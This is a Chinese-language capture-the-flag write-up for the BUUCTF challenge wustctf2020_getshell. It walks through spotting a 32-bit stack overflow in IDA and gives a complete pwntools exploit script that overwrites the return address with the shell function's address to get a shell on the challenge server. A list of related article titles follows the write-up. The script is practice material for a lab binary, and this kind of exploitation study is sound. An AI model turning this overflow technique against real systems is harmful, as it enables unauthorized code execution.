buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
m0_549314866 小时前
BIG-IP 介绍 1
安全·负载均衡·ltm·big-ip·f5
乾元6 小时前
绕过艺术:使用 GANs 对抗 Web 防火墙(WAF)
前端·网络·人工智能·深度学习·安全·架构
honsor7 小时前
机房/档案室专用以太网温湿度传感器:智能监控赋能环境安全
运维·网络·物联网·安全
码农水水8 小时前
米哈游Java面试被问:Shenandoah GC的Brooks Pointer实现机制
java·开发语言·jvm·spring boot·redis·安全·面试
浩浩测试一下8 小时前
应急响应之 洪水 Floods attack ==== DDOS
安全·web安全·网络安全·系统安全·ddos·安全架构
许国栋_8 小时前
产品管理系统怎么选?2026主流工具横评、场景适配与避坑
大数据·安全·阿里云·云计算·团队开发
金士镧(厦门)新材料有限公司8 小时前
氧化钕:从科技到日常,低调却至关重要的材料✨
科技·安全·全文检索·生活·能源
安当加密9 小时前
后远程办公时代的终端安全困局:个人 PC 敏感文件夹治理与非许可访问的零信任控制实战
安全
aodunsoft9 小时前
安全月报 | 傲盾DDoS攻击防御2026年1月简报
网络·安全·ddos
妤......9 小时前
渗透高级课第二次作业
安全·渗透